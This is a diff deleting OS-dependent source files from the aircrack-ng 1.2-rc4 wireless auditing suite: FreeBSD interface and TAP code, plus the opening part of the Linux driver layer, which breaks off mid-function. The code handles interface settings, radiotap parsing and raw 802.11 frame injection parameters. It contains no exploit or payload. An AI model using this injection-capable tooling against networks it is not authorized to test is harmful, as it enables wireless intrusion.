-	struct priv_fbsd *priv = wi_priv(wi);
-	struct ifreq *ifr = &priv->pf_ifr;
-
-	memset(ifr, 0, sizeof(struct ifreq));
-
-	strncpy(ifr->ifr_name, wi_get_ifname(wi), sizeof(ifr->ifr_name));
-	ifr->ifr_mtu = mtu;
-
-	if(ioctl(priv->pf_s, SIOCSIFMTU, ifr) < 0)
-		return -1;
-
-	return 0;
-}
-
-static int fbsd_get_mtu(struct wif *wi)
-{
-	struct priv_fbsd *priv = wi_priv(wi);
-	struct ifreq ifr;
-
-	memset(&ifr, 0, sizeof(struct ifreq));
-
-	ifr.ifr_addr.sa_family = AF_INET;
-
-	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name));
-
-	if(ioctl(priv->pf_s, SIOCGIFMTU, (caddr_t)&ifr) < 0)
-		return -1;
-
-	return ifr.ifr_mtu;
-}
-
-static struct wif *fbsd_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_fbsd *pf;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pf));
-	if (!wi)
-		return NULL;
-	wi->wi_read		= fbsd_read;
-	wi->wi_write		= fbsd_write;
-	wi->wi_set_channel	= fbsd_set_channel;
-	wi->wi_get_channel	= fbsd_get_channel;
-	wi->wi_close		= fbsd_close;
-	wi->wi_fd		= fbsd_fd;
-	wi->wi_get_mac		= fbsd_get_mac;
-	wi->wi_set_mac		= fbsd_set_mac;
-	wi->wi_get_rate		= fbsd_get_rate;
-	wi->wi_set_rate		= fbsd_set_rate;
-	wi->wi_get_monitor	= fbsd_get_monitor;
-	wi->wi_get_mtu		= fbsd_get_mtu;
-	wi->wi_set_mtu		= fbsd_set_mtu;
-
-	/* setup iface */
-	fd = do_fbsd_open(wi, iface);
-	if (fd == -1) {
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pf = wi_priv(wi);
-	pf->pf_fd = fd;
-        pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
-	pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
-	pf->pf_txparams.ibp_rate0 = 2;         /* 1 MB/s XXX */
-	pf->pf_txparams.ibp_try0 = 1;          /* no retransmits */
-	pf->pf_txparams.ibp_rate1 = 2;         /* 1 MB/s XXX */
-	pf->pf_txparams.ibp_try1 = 1;          /* no retransmits */
-	pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
-	pf->pf_txparams.ibp_power = 100;       /* nominal max */
-	pf->pf_txparams.ibp_pri = WME_AC_VO;   /* high priority */
-
-	return wi;
-}
-
-struct wif *wi_open_osdep(char *iface)
-{
-	return fbsd_open(iface);
-}
-
-int get_battery_state(void)
-{
-#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__)
-    int value;
-    size_t len;
-
-    len = 4;
-    value = 0;
-    sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-    if (value == 0)
-    {
-            sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-            value = value * 60;
-    }
-    else
-    {
-            value = 0;
-    }
-
-    return( value );
-#elif defined(_BSD_SOURCE)
-    struct apm_power_info api;
-    int apmfd;
-    if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
-        return 0;
-    if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
-        close(apmfd);
-        return 0;
-    }
-    close(apmfd);
-    if (api.battery_state == APM_BATT_UNKNOWN ||
-        api.battery_state == APM_BATTERY_ABSENT ||
-        api.battery_state == APM_BATT_CHARGING ||
-    api.ac_state == APM_AC_ON) {
-        return 0;
-    }
-    return ((int)(api.minutes_left))*60;
-#else
-    return 0;
-#endif
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/freebsd_tap.c Deleted

@@ -1,225 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for FreeBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_fbsd {
-	int		tf_fd;
-	int		tf_ioctls;
-	struct ifreq	tf_ifr;
-	char		tf_name[MAX_IFACE_NAME];
-	int		tf_destroy;
-};
-
-static int ti_do_open_fbsd(struct tif *ti, char *name)
-{
-	int fd;
-	char *iface = "/dev/tap";
-	struct stat st;
-	struct tip_fbsd *priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq *ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->tf_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1)
-		return -1;
-
-	/* get name */
-	if(fstat(fd, &st) == -1)
-		goto err;
-	snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s",
-		 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1)
-		goto err;
-	priv->tf_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->tf_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1)
-		goto err2;
-	flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16);
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	ifr->ifr_flagshigh = flags >> 16;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1)
-		goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif *ti)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_fbsd *priv)
-{
-	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
-}
-
-static void ti_close_fbsd(struct tif *ti)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	if (priv->tf_destroy)
-		ti_destroy(priv);
-
-	close(priv->tf_fd);
-	close(priv->tf_ioctls);
-	ti_do_free(ti);
-}
-
-static char *ti_name_fbsd(struct tif *ti)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	return priv->tf_name;
-}
-
-static int ti_set_mtu_fbsd(struct tif *ti, int mtu)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	priv->tf_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
-}
-
-static int ti_set_mac_fbsd(struct tif *ti, unsigned char *mac)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-	struct ifreq *ifr = &priv->tf_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_fbsd(struct tif *ti, struct in_addr *ip)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in *s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_fbsd(struct tif *ti)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	return priv->tf_fd;
-}
-
-static int ti_read_fbsd(struct tif *ti, void *buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_fbsd(struct tif *ti, void *buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif *ti_open_fbsd(char *iface)
-{
-	struct tif *ti;
-	struct tip_fbsd *priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti)
-		return NULL;
-	ti->ti_name	= ti_name_fbsd;
-	ti->ti_set_mtu	= ti_set_mtu_fbsd;
-	ti->ti_close	= ti_close_fbsd;
-	ti->ti_fd	= ti_fd_fbsd;
-	ti->ti_read	= ti_read_fbsd;
-	ti->ti_write	= ti_write_fbsd;
-	ti->ti_set_mac	= ti_set_mac_fbsd;
-	ti->ti_set_ip	= ti_set_ip_fbsd;
-
-	/* setup iface */
-	fd = ti_do_open_fbsd(ti, iface);
-	if (fd == -1) {
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tf_fd = fd;
-
-	return ti;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_fbsd(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/linux.c Deleted

@@ -1,2370 +0,0 @@
-/*
- *  OS dependent APIs for Linux
- *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005 Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <sys/stat.h>
-#include <netpacket/packet.h>
-#include <linux/if_ether.h>
-#include <linux/if.h>
-#include <linux/wireless.h>
-#include <netinet/in.h>
-#include <linux/if_tun.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/utsname.h>
-#include <net/if_arp.h>
-
-#ifdef CONFIG_LIBNL
-#include <linux/nl80211.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/family.h>
-#include <netlink/genl/ctrl.h>
-#include <netlink/msg.h>
-#include <netlink/attr.h>
-#include <linux/genetlink.h>
-#endif //CONFIG_LIBNL
-
-#include "radiotap/radiotap.h"
-#include "radiotap/radiotap_iter.h"
-        /* radiotap-parser defines types like u8 that
-         * ieee80211_radiotap.h needs
-         *
-         * we use our local copy of ieee80211_radiotap.h
-         *
-         * - since we can't support extensions we don't understand
-         * - since linux does not include it in userspace headers
-         */
-#include "osdep.h"
-#include "pcap.h"
-#include "crctable_osdep.h"
-#include "common.h"
-#include "byteorder.h"
-
-#ifdef CONFIG_LIBNL
-struct nl80211_state state;
-static int chan;
-#endif //CONFIG_LIBNL
-
-/* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */
-extern unsigned int if_nametoindex (const char *__ifname);
-extern char *if_indextoname (unsigned int __ifindex, char *__ifname);
-
-typedef enum {
-        DT_NULL = 0,
-        DT_WLANNG,
-        DT_HOSTAP,
-        DT_MADWIFI,
-        DT_MADWIFING,
-        DT_BCM43XX,
-        DT_ORINOCO,
-        DT_ZD1211RW,
-        DT_ACX,
-        DT_MAC80211_RT,
-        DT_AT76USB,
-        DT_IPW2200
-
-} DRIVER_TYPE;
-
-static const char * szaDriverTypes[] = {
-        [DT_NULL] = "Unknown",
-        [DT_WLANNG] = "Wlan-NG",
-        [DT_HOSTAP] = "HostAP",
-        [DT_MADWIFI] = "Madwifi",
-        [DT_MADWIFING] = "Madwifi-NG",
-        [DT_BCM43XX] = "BCM43xx",
-        [DT_ORINOCO] = "Orinoco",
-        [DT_ZD1211RW] = "ZD1211RW",
-        [DT_ACX] = "ACX",
-        [DT_MAC80211_RT] = "Mac80211-Radiotap",
-        [DT_AT76USB] = "Atmel 76_usb",
-        [DT_IPW2200] = "ipw2200"
-};
-
-/*
- * XXX need to have a different read/write/open function for each Linux driver.
- */
-
-struct priv_linux {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_main;
-    int fd_rtc;
-
-    DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */
-
-    FILE *f_cap_in;
-
-    struct pcap_file_header pfh_in;
-
-    int sysfs_inject;
-    int channel;
-    int freq;
-    int rate;
-    int tx_power;
-    char *wlanctlng; /* XXX never set */
-    char *iwpriv;
-    char *iwconfig;
-    char *ifconfig;
-    char *wl;
-    char *main_if;
-    unsigned char pl_mac[6];
-    int inject_wlanng;
-};
-
-#ifndef ETH_P_80211_RAW
-#define ETH_P_80211_RAW 25
-#endif
-
-#define ARPHRD_IEEE80211        801
-#define ARPHRD_IEEE80211_PRISM  802
-#define ARPHRD_IEEE80211_FULL   803
-
-#ifndef NULL_MAC
-#define NULL_MAC        "\x00\x00\x00\x00\x00\x00"
-#endif
-
-unsigned long calc_crc_osdep( unsigned char * buf, int len)
-{
-    unsigned long crc = 0xFFFFFFFF;
-
-    for( ; len > 0; len--, buf++ )
-        crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 );
-
-    return( ~crc );
-}
-
-/* CRC checksum verification routine */
-
-int check_crc_buf_osdep( unsigned char *buf, int len )
-{
-    unsigned long crc;
-
-    if (len<0)
-    	return 0;
-
-    crc = calc_crc_osdep(buf, len);
-    buf+=len;
-    return( ( ( crc       ) & 0xFF ) == buf[0] &&
-            ( ( crc >>  8 ) & 0xFF ) == buf[1] &&
-            ( ( crc >> 16 ) & 0xFF ) == buf[2] &&
-            ( ( crc >> 24 ) & 0xFF ) == buf[3] );
-}
-
-//Check if the driver is ndiswrapper */
-static int is_ndiswrapper(const char * iface, const char * path)
-{
-    int n, pid, unused;
-    if (!path || !iface)
-	return 0;
-    if ((pid=fork())==0)
-    {
-        close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-        execl(path, "iwpriv",iface, "ndis_reset", NULL);
-        exit( 1 );
-    }
-
-    waitpid( pid, &n, 0 );
-    return ( ( WIFEXITED(n) && WEXITSTATUS(n) == 0 ));
-}
-
-/* Search a file recursively */
-static char * searchInside(const char * dir, const char * filename)
-{
-    char * ret;
-    char * curfile;
-    struct stat sb;
-    int len, lentot;
-    DIR *dp;
-    struct dirent *ep;
-
-    dp = opendir(dir);
-    if (dp == NULL)
-    {
-        return NULL;
-	}
-
-    len = strlen( filename );
-    lentot = strlen( dir ) + 256 + 2;
-    curfile = (char *) calloc( 1, lentot );
-
-    while ((ep = readdir(dp)) != NULL)
-    {
-
-        memset(curfile, 0, lentot);
-        sprintf(curfile, "%s/%s", dir, ep->d_name);
-
-        //Checking if it's the good file
-        if ((int)strlen( ep->d_name) == len && !strcmp(ep->d_name, filename))
-        {
-            (void)closedir(dp);
-            return curfile;
-        }
-
-        //If it's a directory and not a link, try to go inside to search
-        if ( lstat(curfile, &sb)==0 && S_ISDIR(sb.st_mode) && !S_ISLNK(sb.st_mode))
-        {
-            //Check if the directory isn't "." or ".."
-            if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name))
-            {
-                //Recursive call
-                ret = searchInside(curfile, filename);
-                if (ret != NULL)
-                {
-                    (void)closedir(dp);
-                    free( curfile );
-                    return ret;
-                }
-            }
-        }
-    }
-    (void)closedir(dp);
-    free( curfile );
-    return NULL;
-}
-
-/* Search a wireless tool and return its path */
-static char * wiToolsPath(const char * tool)
-{
-        char * path /*, *found, *env */;
-        int i, nbelems;
-        static const char * paths [] = {
-                "/sbin",
-                "/usr/sbin",
-                "/usr/local/sbin",
-                "/bin",
-                "/usr/bin",
-                "/usr/local/bin",
-                "/tmp"
-        };
-
-	// Also search in other known location just in case we haven't found it yet
-	nbelems = sizeof(paths) / sizeof(char *);
-	for (i = 0; i < nbelems; i++)
-	{
-		path = searchInside(paths[i], tool);
-		if (path != NULL)
-			return path;
-	}
-
-        return NULL;
-}
-
-
-/* nl80211 */
-#ifdef CONFIG_LIBNL
-struct nl80211_state {
-#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
-    struct nl_handle *nl_sock;
-#else
-    struct nl_sock *nl_sock;
-#endif
-    struct nl_cache *nl_cache;
-    struct genl_family *nl80211;
-};
-
-#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
-static inline struct nl_handle *nl_socket_alloc(void)
-{
-    return nl_handle_alloc();
-}
-
-static inline void nl_socket_free(struct nl_handle *h)
-{
-        nl_handle_destroy(h);
-}
-
-static inline int __genl_ctrl_alloc_cache(struct nl_handle *h, struct nl_cache **cache)
-{
-    struct nl_cache *tmp = genl_ctrl_alloc_cache(h);
-    if (!tmp)
-        return -ENOMEM;
-    *cache = tmp;
-    return 0;
-}
-#define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache
-#endif
-
-static int linux_nl80211_init(struct nl80211_state *state)
-{
-    int err;
-
-    state->nl_sock = nl_socket_alloc();
-
-    if (!state->nl_sock) {
-        fprintf(stderr, "Failed to allocate netlink socket.\n");
-        return -ENOMEM;
-    }
-
-    if (genl_connect(state->nl_sock)) {
-        fprintf(stderr, "Failed to connect to generic netlink.\n");
-        err = -ENOLINK;
-        goto out_handle_destroy;
-    }
-
-    if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache)) {
-        fprintf(stderr, "Failed to allocate generic netlink cache.\n");
-        err = -ENOMEM;
-        goto out_handle_destroy;
-    }
-
-    state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211");
-    if (!state->nl80211) {
-        fprintf(stderr, "nl80211 not found.\n");
-        err = -ENOENT;
-        goto out_cache_free;
-    }
-
-    return 0;
-
- out_cache_free:
-    nl_cache_free(state->nl_cache);
- out_handle_destroy:
-    nl_socket_free(state->nl_sock);
-    return err;
-}
-
-static void nl80211_cleanup(struct nl80211_state *state)
-{
-    genl_family_put(state->nl80211);
-    nl_cache_free(state->nl_cache);
-    nl_socket_free(state->nl_sock);
-}
-
-/* Callbacks */
-
-/*
-static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err,
-                     void *arg)
-{
-	if (nla) { }
-	printf("\n\n\nERROR");
-	int *ret = arg;
-	*ret = err->error;
-	return NL_STOP;
-}
-*/
-
-/*
-static void test_callback(struct nl_msg *msg, void *arg)
-{
-	if (msg || arg) { }
-}
-*/
-#endif /* End nl80211 */
-
-
-static int linux_get_channel(struct wif *wi)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct iwreq wrq;
-    int fd, frequency;
-    int chan=0;
-
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-
-    if(dev->main_if)
-        strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ );
-    else
-        strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    fd = dev->fd_in;
-    if(dev->drivertype == DT_IPW2200)
-        fd = dev->fd_main;
-
-    if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 )
-        return( -1 );
-
-    frequency = wrq.u.freq.m;
-    if (frequency > 100000000)
-        frequency/=100000;
-    else if (frequency > 1000000)
-        frequency/=1000;
-
-    if (frequency > 1000)
-        chan = getChannelFromFrequency(frequency);
-    else chan = frequency;
-
-    return chan;
-}
-
-static int linux_get_freq(struct wif *wi)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct iwreq wrq;
-    int fd, frequency;
-
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-
-    if(dev->main_if)
-        strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ );
-    else
-        strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    fd = dev->fd_in;
-    if(dev->drivertype == DT_IPW2200)
-        fd = dev->fd_main;
-
-    if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 )
-        return( -1 );
-
-    frequency = wrq.u.freq.m;
-    if (frequency > 100000000)
-        frequency/=100000;
-    else if (frequency > 1000000)
-        frequency/=1000;
-
-    if (frequency < 500) //its not a freq, but the actual channel
-        frequency = getFrequencyFromChannel(frequency);
-
-    return frequency;
-}
-
-static int linux_set_rate(struct wif *wi, int rate)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct ifreq ifr;
-    struct iwreq wrq;
-    char s[32];
-    int pid, status, unused;
-
-    memset(s, 0, sizeof(s));
-
-    switch(dev->drivertype) {
-    case DT_MADWIFING:
-        memset( &ifr, 0, sizeof( ifr ) );
-        strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-        if( ioctl( dev->fd_in, SIOCGIFINDEX, &ifr ) < 0 )
-        {
-            printf("Interface %s: \n", wi_get_ifname(wi));
-            perror( "ioctl(SIOCGIFINDEX) failed" );
-            return( 1 );
-        }
-
-        /* Bring interface down*/
-        ifr.ifr_flags = 0;
-
-        if( ioctl( dev->fd_in, SIOCSIFFLAGS, &ifr ) < 0 )
-        {
-            perror( "ioctl(SIOCSIFFLAGS) failed" );
-            return( 1 );
-        }
-
-        usleep(100000);
-
-        snprintf( s,  sizeof( s ) - 1, "%.1fM", (rate/1000000.0) );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi),
-                    "rate", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-
-        return 0;
-        break;
-
-    case DT_MAC80211_RT:
-
-        dev->rate = (rate/500000);
-        //return 0;
-        //Newer mac80211 stacks (2.6.31 and up)
-        //don't care about Radiotap header anymore, so ioctl below must also be done!
-        //[see Documentation/networking/mac80211-injection.txt]
-        break;
-
-    default:
-        break;
-
-    }
-
-    /* ELSE */
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-
-    if(dev->main_if)
-        strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ );
-    else
-        strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    wrq.u.bitrate.value = rate;
-    wrq.u.bitrate.fixed = 1;
-
-    if( ioctl( dev->fd_in, SIOCSIWRATE, &wrq ) < 0 )
-    {
-        return( -1 );
-    }
-
-    return 0;
-}
-
-static int linux_get_rate(struct wif *wi)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct iwreq wrq;
-
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-
-    if( dev->drivertype == DT_MAC80211_RT )
-        return (dev->rate*500000);
-
-    if(dev->main_if)
-        strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ );
-    else
-        strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    if( ioctl( dev->fd_in, SIOCGIWRATE, &wrq ) < 0 )
-    {
-        return( -1 );
-    }
-
-    return wrq.u.bitrate.value;
-}
-
-static int linux_set_mtu(struct wif *wi, int mtu)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct ifreq ifr;
-
-    memset( &ifr, 0, sizeof( struct ifreq ) );
-
-    if(dev->main_if)
-        strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 );
-    else
-        strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-    ifr.ifr_mtu = mtu;
-    if( ioctl( dev->fd_in, SIOCSIFMTU, &ifr ) < 0 )
-    {
-        return( -1 );
-    }
-
-    return 0;
-}
-
-static int linux_get_mtu(struct wif *wi)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct ifreq ifr;
-
-    memset( &ifr, 0, sizeof( struct ifreq ) );
-
-    if(dev->main_if)
-        strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 );
-    else
-        strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-    if( ioctl( dev->fd_in, SIOCGIFMTU, &ifr ) < 0 )
-    {
-        return( -1 );
-    }
-
-    return ifr.ifr_mtu;
-}
-
-static int linux_read(struct wif *wi, unsigned char *buf, int count,
-		      struct rx_info *ri)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    unsigned char tmpbuf[4096];
-
-	int caplen, n, got_signal, got_noise, got_channel, fcs_removed;
-
-	caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0;
-
-    if((unsigned)count > sizeof(tmpbuf))
-        return( -1 );
-
-    if( ( caplen = read( dev->fd_in, tmpbuf, count ) ) < 0 )
-    {
-        if( errno == EAGAIN )
-            return( 0 );
-
-        perror( "read failed" );
-        return( -1 );
-    }
-
-    switch (dev->drivertype) {
-    case DT_MADWIFI:
-        caplen -= 4;    /* remove the FCS for madwifi-old! only (not -ng)*/
-        break;
-    default:
-        break;
-    }
-
-    memset( buf, 0, count );
-
-    /* XXX */
-    if (ri)
-    	memset(ri, 0, sizeof(*ri));
-
-    if( dev->arptype_in == ARPHRD_IEEE80211_PRISM )
-    {
-        /* skip the prism header */
-        if( tmpbuf[7] == 0x40 )
-        {
-            /* prism54 uses a different format */
-            if(ri)
-            {
-                ri->ri_power = tmpbuf[0x33];
-                ri->ri_noise = *(unsigned int *)( tmpbuf + 0x33 + 12 );
-                ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x33 + 24 ))*500000;
-
-                got_signal = 1;
-                got_noise = 1;
-            }
-
-            n = 0x40;
-        }
-        else
-        {
-            if(ri)
-            {
-                ri->ri_mactime = *(u_int64_t*)( tmpbuf + 0x5C - 48 );
-                ri->ri_channel = *(unsigned int *)( tmpbuf + 0x5C - 36 );
-                ri->ri_power = *(unsigned int *)( tmpbuf + 0x5C );
-                ri->ri_noise = *(unsigned int *)( tmpbuf + 0x5C + 12 );
-                ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x5C + 24 ))*500000;
-
-//                if( ! memcmp( iface[i], "ath", 3 ) )
-                if( dev->drivertype == DT_MADWIFI )
-                    ri->ri_power -= *(int *)( tmpbuf + 0x68 );
-                if( dev->drivertype == DT_MADWIFING )
-                    ri->ri_power -= *(int *)( tmpbuf + 0x68 );
-
-                got_channel = 1;
-                got_signal = 1;
-                got_noise = 1;
-            }
-
-            n = *(int *)( tmpbuf + 4 );
-        }
-
-        if( n < 8 || n >= caplen )
-            return( 0 );
-    }
-
-    if( dev->arptype_in == ARPHRD_IEEE80211_FULL )
-    {
-        struct ieee80211_radiotap_iterator iterator;
-        struct ieee80211_radiotap_header *rthdr;
-
-        rthdr = (struct ieee80211_radiotap_header *) tmpbuf;
-
-        if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0)
-            return (0);
-
-        /* go through the radiotap arguments we have been given
-         * by the driver
-         */
-
-        while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0)) {
-
-            switch (iterator.this_arg_index) {
-
-            case IEEE80211_RADIOTAP_TSFT:
-                ri->ri_mactime = le64_to_cpu(*((uint64_t*)iterator.this_arg));
-                break;
-
-            case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-            	if(!got_signal) {
-					if( *iterator.this_arg < 127 )
-						ri->ri_power = *iterator.this_arg;
-					else
-						ri->ri_power = *iterator.this_arg - 255;
-
-					got_signal = 1;
-				}
-                break;
-
-            case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-                if(!got_signal) {
-                    if( *iterator.this_arg < 127 )
-                        ri->ri_power = *iterator.this_arg;
-                    else
-                        ri->ri_power = *iterator.this_arg - 255;
-
-                    got_signal = 1;
-                }
-                break;
-
-            case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-            	if(!got_noise) {
-					if( *iterator.this_arg < 127 )
-						ri->ri_noise = *iterator.this_arg;
-					else
-						ri->ri_noise = *iterator.this_arg - 255;
-
-					got_noise = 1;
-				}
-                break;
-
-            case IEEE80211_RADIOTAP_DB_ANTNOISE:
-                if(!got_noise) {
-                    if( *iterator.this_arg < 127 )
-                        ri->ri_noise = *iterator.this_arg;
-                    else
-                        ri->ri_noise = *iterator.this_arg - 255;
-
-                    got_noise = 1;
-                }
-                break;
-
-            case IEEE80211_RADIOTAP_ANTENNA:
-                ri->ri_antenna = *iterator.this_arg;
-                break;
-
-            case IEEE80211_RADIOTAP_CHANNEL:
-                ri->ri_channel = getChannelFromFrequency(le16toh(*(uint16_t*)iterator.this_arg));
-                got_channel = 1;
-                break;
-
